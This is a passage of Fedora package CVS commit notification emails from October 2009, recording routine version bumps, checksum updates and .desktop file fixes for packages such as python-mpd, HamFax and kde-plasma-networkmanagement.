===================================================================
RCS file: /cvs/extras/rpms/pessulus/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	14 Sep 2009 11:11:27 -0000	1.11
+++ sources	25 Oct 2009 16:03:24 -0000	1.12
@@ -1 +1 @@
-88ed22b15f851ef59e3340294c4f1cc0  pessulus-2.27.92.tar.bz2
+792485aac615a8f36f7d77bc06a40036  pessulus-2.28.0.tar.bz2



From mathstuf at fedoraproject.org  Sun Oct 25 16:05:28 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 16:05:28 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-12
	kde-plasma-networkmanagement.spec, 1.23, 1.24
Message-ID: <20091025160528.6511211C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17918

Modified Files:
	kde-plasma-networkmanagement.spec 
Log Message:
Fix actual release date


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-12/kde-plasma-networkmanagement.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- kde-plasma-networkmanagement.spec	25 Oct 2009 15:51:01 -0000	1.23
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 16:05:27 -0000	1.24
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.6.20090924svn%{?dist}
+Release:        0.6.20091024svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet



From mathstuf at fedoraproject.org  Sun Oct 25 16:09:12 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 16:09:12 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-11
	kde-plasma-networkmanagement.spec, 1.11, 1.12 sources, 1.9,
	1.10 kde-plasma-networkmanagement-0.9-desktop.patch, 1.1, NONE
Message-ID: <20091025160912.D0E9D11C02C7@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18793

Modified Files:
	kde-plasma-networkmanagement.spec sources 
Removed Files:
	kde-plasma-networkmanagement-0.9-desktop.patch 
Log Message:
Update snapshot


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-11/kde-plasma-networkmanagement.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- kde-plasma-networkmanagement.spec	25 Oct 2009 08:03:24 -0000	1.11
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 16:09:12 -0000	1.12
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.4.20090930svn%{?dist}
+Release:        0.6.20091024svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -26,11 +26,9 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn export -r 1029690 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
+#  svn export -r 1039698 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
 #  tar -c kde-plasma-networkmanagement-0.9 | bzip2 --best -c > kde-plasma-networkmanagement-0.9.tar.bz2
 Source0:        %{name}-%{version}.tar.bz2
-# Patch to get .desktop files validated
-Patch0:         %{name}-%{version}-desktop.patch
 
 BuildRequires:  kdelibs-experimental-devel
 BuildRequires:  kdebase-workspace-devel >= 4.3.0
@@ -106,7 +104,6 @@ Obsoletes:      knetworkmanager4-vpnc < 
 
 %prep
 %setup -q
-%patch0 -p1 -b .desktop
 
 
 %build
@@ -203,6 +200,12 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.6.20091024svn
+- Rebuild with new sources
+
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.5.20091024svn
+- New snapshot
+
 * Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
 - Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
 - Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-11/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	30 Sep 2009 15:49:05 -0000	1.9
+++ sources	25 Oct 2009 16:09:12 -0000	1.10
@@ -1 +1 @@
-445ca659ff85fb90741ba3642e683728  kde-plasma-networkmanagement-0.9.tar.bz2
+9f70db4f66c5bcc811fecce08d3b1e4d  kde-plasma-networkmanagement-0.9.tar.bz2


--- kde-plasma-networkmanagement-0.9-desktop.patch DELETED ---



From hguemar at fedoraproject.org  Sun Oct 25 16:17:32 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 16:17:32 +0000 (UTC)
Subject: rpms/python-mpd/devel .cvsignore, 1.2, 1.3 python-mpd.spec, 1.5,
	1.6 sources, 1.2, 1.3
Message-ID: <20091025161732.CB30011C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/python-mpd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21074

Modified Files:
	.cvsignore python-mpd.spec sources 
Log Message:
Updated to 0.2.1


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	13 Apr 2008 18:58:47 -0000	1.2
+++ .cvsignore	25 Oct 2009 16:17:32 -0000	1.3
@@ -1 +1 @@
-python-mpd-0.2.0.tar.bz2
+python-mpd-0.2.1.tar.bz2


Index: python-mpd.spec
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/devel/python-mpd.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- python-mpd.spec	26 Jul 2009 20:42:12 -0000	1.5
+++ python-mpd.spec	25 Oct 2009 16:17:32 -0000	1.6
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-mpd
-Version:        0.2.0
-Release:        6%{?dist}
+Version:        0.2.1
+Release:        1%{?dist}
 Summary:        Python MPD client library
 Group:          Development/Languages
 License:        GPLv3+
@@ -40,6 +40,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 0.2.1-1
+- Updated to 0.2.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Apr 2008 18:58:47 -0000	1.2
+++ sources	25 Oct 2009 16:17:32 -0000	1.3
@@ -1 +1 @@
-17632bc9a23c5e393a17e06bae6305f7  python-mpd-0.2.0.tar.bz2
+4b7eafe3de91a7ab14099503f6691db1  python-mpd-0.2.1.tar.bz2



From mathstuf at fedoraproject.org  Sun Oct 25 16:21:35 2009
From: mathstuf at fedoraproject.org (Ben Boeckel)
Date: Sun, 25 Oct 2009 16:21:35 +0000 (UTC)
Subject: rpms/kde-plasma-networkmanagement/F-10
	kde-plasma-networkmanagement.spec, 1.5, 1.6 sources, 1.5,
	1.6 kde-plasma-networkmanagement-0.9-desktop.patch, 1.1, NONE
Message-ID: <20091025162135.BD5D411C00E5@cvs1.fedora.phx.redhat.com>

Author: mathstuf

Update of /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22619

Modified Files:
	kde-plasma-networkmanagement.spec sources 
Removed Files:
	kde-plasma-networkmanagement-0.9-desktop.patch 
Log Message:
Update snapshot


Index: kde-plasma-networkmanagement.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-10/kde-plasma-networkmanagement.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- kde-plasma-networkmanagement.spec	25 Oct 2009 08:05:01 -0000	1.5
+++ kde-plasma-networkmanagement.spec	25 Oct 2009 16:21:35 -0000	1.6
@@ -16,7 +16,7 @@ Name:           kde-plasma-networkmanage
 # to be a higher, natural upgrade from F-10's knetworkmanager-0.7
 Epoch:          1
 Version:        0.9
-Release:        0.4.20090930svn%{?dist}
+Release:        0.6.20091024svn%{?dist}
 Summary:        NetworkManager KDE 4 integration
 
 Group:          Applications/Internet
@@ -26,11 +26,9 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
-#  svn export -r 1029690 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
+#  svn export -r 1039698 svn://anonsvn.kde.org/home/kde/trunk/playground/base/plasma/applets/networkmanager kde-plasma-networkmanagement-0.9
 #  tar -c kde-plasma-networkmanagement-0.9 | bzip2 --best -c > kde-plasma-networkmanagement-0.9.tar.bz2
 Source0:        %{name}-%{version}.tar.bz2
-# Patch to get .desktop files validated
-Patch0:         %{name}-%{version}-desktop.patch
 
 BuildRequires:  kdelibs-experimental-devel
 BuildRequires:  kdebase-workspace-devel >= 4.3.0
@@ -106,7 +104,6 @@ Obsoletes:      knetworkmanager4-vpnc < 
 
 %prep
 %setup -q
-%patch0 -p1 -b .desktop
 
 
 %build
@@ -203,6 +200,12 @@ gtk-update-icon-cache %{_kde4_iconsdir}/
 
 
 %changelog
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.6.20091024svn
+- Rebuild with new sources
+
+* Sun Oct 25 2009 Ben Boeckel <MathStuf at gmail.com> 1:0.9-0.5.20091024svn
+- New snapshot
+
 * Sun Oct 25 2009 Kevin Kofler <Kevin at tigcc.ticalc.org>  1:0.9-0.4.20090930svn
 - Build as knetworkmanager4 for F10 so KDE 3 KNM users are not forced to upgrade
 - Obsolete knetworkmanager4 (and keep replacing the KDE 3 KNM) on F11+


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kde-plasma-networkmanagement/F-10/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	4 Jun 2009 03:11:27 -0000	1.5
+++ sources	25 Oct 2009 16:21:35 -0000	1.6
@@ -1 +1 @@
-f8835e99c3683a11319150f310089f97  kde-plasma-networkmanagement-0.1.tar.bz2
+9f70db4f66c5bcc811fecce08d3b1e4d  kde-plasma-networkmanagement-0.9.tar.bz2


--- kde-plasma-networkmanagement-0.9-desktop.patch DELETED ---



From hguemar at fedoraproject.org  Sun Oct 25 16:26:46 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 16:26:46 +0000 (UTC)
Subject: rpms/python-mpd/F-12 python-mpd.spec,1.5,1.6 sources,1.2,1.3
Message-ID: <20091025162646.CAEFE11C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/python-mpd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24611

Modified Files:
	python-mpd.spec sources 
Log Message:
Updated to 0.2.1


Index: python-mpd.spec
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-12/python-mpd.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- python-mpd.spec	26 Jul 2009 20:42:12 -0000	1.5
+++ python-mpd.spec	25 Oct 2009 16:26:46 -0000	1.6
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-mpd
-Version:        0.2.0
-Release:        6%{?dist}
+Version:        0.2.1
+Release:        1%{?dist}
 Summary:        Python MPD client library
 Group:          Development/Languages
 License:        GPLv3+
@@ -40,6 +40,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 0.2.1-1
+- Updated to 0.2.1
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Apr 2008 18:58:47 -0000	1.2
+++ sources	25 Oct 2009 16:26:46 -0000	1.3
@@ -1 +1 @@
-17632bc9a23c5e393a17e06bae6305f7  python-mpd-0.2.0.tar.bz2
+4b7eafe3de91a7ab14099503f6691db1  python-mpd-0.2.1.tar.bz2



From hguemar at fedoraproject.org  Sun Oct 25 16:35:51 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 16:35:51 +0000 (UTC)
Subject: rpms/python-mpd/F-10 python-mpd.spec,1.2,1.3 sources,1.2,1.3
Message-ID: <20091025163551.BCDCC11C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/python-mpd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27941

Modified Files:
	python-mpd.spec sources 
Log Message:
Updated to 0.2.1


Index: python-mpd.spec
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-10/python-mpd.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- python-mpd.spec	13 Apr 2008 19:08:13 -0000	1.2
+++ python-mpd.spec	25 Oct 2009 16:35:50 -0000	1.3
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-mpd
-Version:        0.2.0
-Release:        3%{?dist}
+Version:        0.2.1
+Release:        1%{?dist}
 Summary:        Python MPD client library
 Group:          Development/Languages
 License:        GPLv3+
@@ -40,6 +40,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Ha?kel Gu?mar <karlethered at gmail.com> - 0.2.1-1
+- Updated to 0.2.1
+
 * Sun Apr 13 2008 Micha? Bentkowski <mr.ecik at gmail.com> - 0.2.0-3
 - Just bumping...
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Apr 2008 18:58:47 -0000	1.2
+++ sources	25 Oct 2009 16:35:50 -0000	1.3
@@ -1 +1 @@
-17632bc9a23c5e393a17e06bae6305f7  python-mpd-0.2.0.tar.bz2
+4b7eafe3de91a7ab14099503f6691db1  python-mpd-0.2.1.tar.bz2



From hguemar at fedoraproject.org  Sun Oct 25 16:47:07 2009
From: hguemar at fedoraproject.org (=?utf-8?b?SGHDr2tlbCBHdcOpbWFy?=)
Date: Sun, 25 Oct 2009 16:47:07 +0000 (UTC)
Subject: rpms/python-mpd/F-11 python-mpd.spec,1.4,1.5 sources,1.2,1.3
Message-ID: <20091025164707.6706411C00E5@cvs1.fedora.phx.redhat.com>

Author: hguemar

Update of /cvs/extras/rpms/python-mpd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31964

Modified Files:
	python-mpd.spec sources 
Log Message:
Updated to 0.2.1


Index: python-mpd.spec
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-11/python-mpd.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- python-mpd.spec	26 Feb 2009 22:25:20 -0000	1.4
+++ python-mpd.spec	25 Oct 2009 16:47:07 -0000	1.5
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-mpd
-Version:        0.2.0
-Release:        5%{?dist}
+Version:        0.2.1
+Release:        1%{?dist}
 Summary:        Python MPD client library
 Group:          Development/Languages
 License:        GPLv3+
@@ -40,6 +40,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 25 2009 Ha?kel Gu?mar <karlthered at gmail.com> - 0.2.1-1
+- Updated to 0.2.1
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2.0-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/python-mpd/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	13 Apr 2008 18:58:47 -0000	1.2
+++ sources	25 Oct 2009 16:47:07 -0000	1.3
@@ -1 +1 @@
-17632bc9a23c5e393a17e06bae6305f7  python-mpd-0.2.0.tar.bz2
+4b7eafe3de91a7ab14099503f6691db1  python-mpd-0.2.1.tar.bz2



From dp67 at fedoraproject.org  Sun Oct 25 16:59:44 2009
From: dp67 at fedoraproject.org (dp67)
Date: Sun, 25 Oct 2009 16:59:44 +0000 (UTC)
Subject: rpms/HamFax/F-12 HamFax.desktop,1.2,1.3
Message-ID: <20091025165944.6EADF11C00E5@cvs1.fedora.phx.redhat.com>

Author: dp67

Update of /cvs/pkgs/rpms/HamFax/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2618

Modified Files:
	HamFax.desktop 
Log Message:

Fix .desktop per bug #530823




Index: HamFax.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/HamFax/F-12/HamFax.desktop,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- HamFax.desktop	1 Feb 2009 01:34:02 -0000	1.2
+++ HamFax.desktop	25 Oct 2009 16:59:43 -0000	1.3
@@ -7,5 +7,5 @@ Exec=hamfax
 Icon=HamFax
 Terminal=false
 Type=Application
-Categories=HamRadio;
+Categories=QT;Network;HamRadio;
 Version=1.0



From dp67 at fedoraproject.org  Sun Oct 25 17:07:12 2009
From: dp67 at fedoraproject.org (dp67)
Date: Sun, 25 Oct 2009 17:07:12 +0000 (UTC)
Subject: rpms/HamFax/F-12 HamFax.spec,1.6,1.7
Message-ID: <20091025170712.881D511C00E5@cvs1.fedora.phx.redhat.com>

Author: dp67

Update of /cvs/pkgs/rpms/HamFax/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv7243

Modified Files:
	HamFax.spec 
Log Message:

release update



Index: HamFax.spec
===================================================================
RCS file: /cvs/pkgs/rpms/HamFax/F-12/HamFax.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- HamFax.spec	24 Jul 2009 15:32:20 -0000	1.6
+++ HamFax.spec	25 Oct 2009 17:07:12 -0000	1.7
@@ -58,6 +58,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/*
 
 %changelog
+* Fri Oct 25 2009 Randall J. Berry 'Dp67' <randyn3lrx at gmail.com> - 0.6.4-4
+- Fix .desktop file per bug #530823
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.4-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From dp67 at fedoraproject.org  Sun Oct 25 17:11:36 2009
From: dp67 at fedoraproject.org (dp67)
Date: Sun, 25 Oct 2009 17:11:36 +0000 (UTC)
Subject: rpms/HamFax/F-12 HamFax.spec,1.7,1.8
Message-ID: <20091025171137.015F411C00E5@cvs1.fedora.phx.redhat.com>

Author: dp67

Update of /cvs/pkgs/rpms/HamFax/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8734

Modified Files:
	HamFax.spec 
Log Message:



Index: HamFax.spec
===================================================================
RCS file: /cvs/pkgs/rpms/HamFax/F-12/HamFax.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- HamFax.spec	25 Oct 2009 17:07:12 -0000	1.7
+++ HamFax.spec	25 Oct 2009 17:11:36 -0000	1.8
@@ -58,7 +58,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/*
 
 %changelog
-* Fri Oct 25 2009 Randall J. Berry 'Dp67' <randyn3lrx at gmail.com> - 0.6.4-4
+* Fri Oct 25 2009 Randall J. Berry 'Dp67' <randyn3lrx at gmail.com> - 0.6.4-6
 - Fix .desktop file per bug #530823
 
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.6.4-5



From dp67 at fedoraproject.org  Sun Oct 25 17:13:08 2009
From: dp67 at fedoraproject.org (dp67)
Date: Sun, 25 Oct 2009 17:13:08 +0000 (UTC)
Subject: rpms/HamFax/F-12 HamFax.spec,1.8,1.9
Message-ID: <20091025171308.9913A11C00E5@cvs1.fedora.phx.redhat.com>

Author: dp67

Update of /cvs/pkgs/rpms/HamFax/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9052

Modified Files:
	HamFax.spec 
Log Message:

Fix spec



Index: HamFax.spec
===================================================================
RCS file: /cvs/pkgs/rpms/HamFax/F-12/HamFax.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- HamFax.spec	25 Oct 2009 17:11:36 -0000	1.8
+++ HamFax.spec	25 Oct 2009 17:13:08 -0000	1.9
@@ -1,6 +1,6 @@
 Name:		HamFax
 Version:	0.6.4
-Release:	5%{?dist}
+Release:	6%{?dist}
 Summary:	HamFax is an application for sending and receiving facsimiles in amateur radio      
 
 Group:		Applications/Communications  



From dp67 at fedoraproject.org  Sun Oct 25 17:29:02 2009
From: dp67 at fedoraproject.org (dp67)
Date: Sun, 25 Oct 2009 17:29:02 +0000 (UTC)
Subject: rpms/HamFax/F-12 HamFax.desktop,1.3,1.4
Message-ID: <20091025172902.93BD811C00E5@cvs1.fedora.phx.redhat.com>

Author: dp67

Update of /cvs/pkgs/rpms/HamFax/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15035

Modified Files:
	HamFax.desktop 
Log Message:



Index: HamFax.desktop
===================================================================
RCS file: /cvs/pkgs/rpms/HamFax/F-12/HamFax.desktop,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- HamFax.desktop	25 Oct 2009 16:59:43 -0000	1.3
+++ HamFax.desktop	25 Oct 2009 17:29:01 -0000	1.4
@@ -1,11 +1,11 @@
 [Desktop Entry]
 Encoding=UTF-8
 Name=HamFax
-GenericName=HamFax
-Comment=A ham radio Fax for linux
+GenericName=hamfax
+Comment=Application for sending and receiving radio faximilies
 Exec=hamfax
 Icon=HamFax
 Terminal=false
 Type=Application
-Categories=QT;Network;HamRadio;
+Categories=Network;HamRadio;
 Version=1.0



From mtasaka at fedoraproject.org  Sun Oct 25 17:40:00 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 17:40:00 +0000 (UTC)
Subject: rpms/jd/F-10 .cvsignore, 1.409, 1.410 jd.spec, 1.470, 1.471 sources,
	1.410, 1.411
Message-ID: <20091025174000.5F3B811C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18453/F-10

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3140



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/.cvsignore,v
retrieving revision 1.409
retrieving revision 1.410
diff -u -p -r1.409 -r1.410
--- .cvsignore	16 Oct 2009 03:02:08 -0000	1.409
+++ .cvsignore	25 Oct 2009 17:39:59 -0000	1.410
@@ -1 +1 @@
-jd-2.5.0-svn3127_trunk.tgz
+jd-2.5.0-svn3140_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/jd.spec,v
retrieving revision 1.470
retrieving revision 1.471
diff -u -p -r1.470 -r1.471
--- jd.spec	16 Oct 2009 03:02:08 -0000	1.470
+++ jd.spec	25 Oct 2009 17:39:59 -0000	1.471
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3127_trunk
+%define         strtag        svn3140_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Fri Oct 16 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3127
+* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3140
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-10/sources,v
retrieving revision 1.410
retrieving revision 1.411
diff -u -p -r1.410 -r1.411
--- sources	16 Oct 2009 03:02:08 -0000	1.410
+++ sources	25 Oct 2009 17:39:59 -0000	1.411
@@ -1 +1 @@
-f0596c1746d097d12a914f2f50111b4e  jd-2.5.0-svn3127_trunk.tgz
+c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz



From mtasaka at fedoraproject.org  Sun Oct 25 17:40:00 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 17:40:00 +0000 (UTC)
Subject: rpms/jd/F-11 .cvsignore, 1.404, 1.405 jd.spec, 1.467, 1.468 sources,
	1.405, 1.406
Message-ID: <20091025174000.62A7311C0269@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18453/F-11

Modified Files:
	.cvsignore jd.spec sources 
Log Message:
* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
- rev 3140



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/.cvsignore,v
retrieving revision 1.404
retrieving revision 1.405
diff -u -p -r1.404 -r1.405
--- .cvsignore	23 Oct 2009 18:03:57 -0000	1.404
+++ .cvsignore	25 Oct 2009 17:39:59 -0000	1.405
@@ -1 +1 @@
-jd-2.5.0-svn3133_trunk.tgz
+jd-2.5.0-svn3140_trunk.tgz


Index: jd.spec
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/jd.spec,v
retrieving revision 1.467
retrieving revision 1.468
diff -u -p -r1.467 -r1.468
--- jd.spec	23 Oct 2009 18:03:57 -0000	1.467
+++ jd.spec	25 Oct 2009 17:39:59 -0000	1.468
@@ -10,7 +10,7 @@
 # Defined by upsteam
 #
 %define         main_ver      2.5.0
-%define         strtag        svn3133_trunk
+%define         strtag        svn3140_trunk
 %define         repoid        43788
 # Define this if this is pre-version
 %define         pre_release   1
@@ -135,8 +135,8 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{icondir}/%{name}.png
 
 %changelog
-* Sat Oct 24 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
-- rev 3133
+* Mon Oct 26 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp>
+- rev 3140
 
 * Sun Sep 27 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 2.4.2-1
 - 2.4.2


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/jd/F-11/sources,v
retrieving revision 1.405
retrieving revision 1.406
diff -u -p -r1.405 -r1.406
--- sources	23 Oct 2009 18:03:57 -0000	1.405
+++ sources	25 Oct 2009 17:40:00 -0000	1.406
@@ -1 +1 @@
-97ca5453376266ee0c39d7e99c280caa  jd-2.5.0-svn3133_trunk.tgz
+c6effb9c103ac8f25f4b1e5423660c1d  jd-2.5.0-svn3140_trunk.tgz



From mtasaka at fedoraproject.org  Sun Oct 25 17:40:00 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Sun, 25 Oct 2009 17:40:00 +0000 (UTC)
Subject: rpms/jd/F-12 .cvsignore, 1.404, 1.405 jd.spec, 1.468, 1.469 sources,
	1.405, 1.406
Message-ID: <20091025174000.DC3FA11C00E5@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/jd/F-12
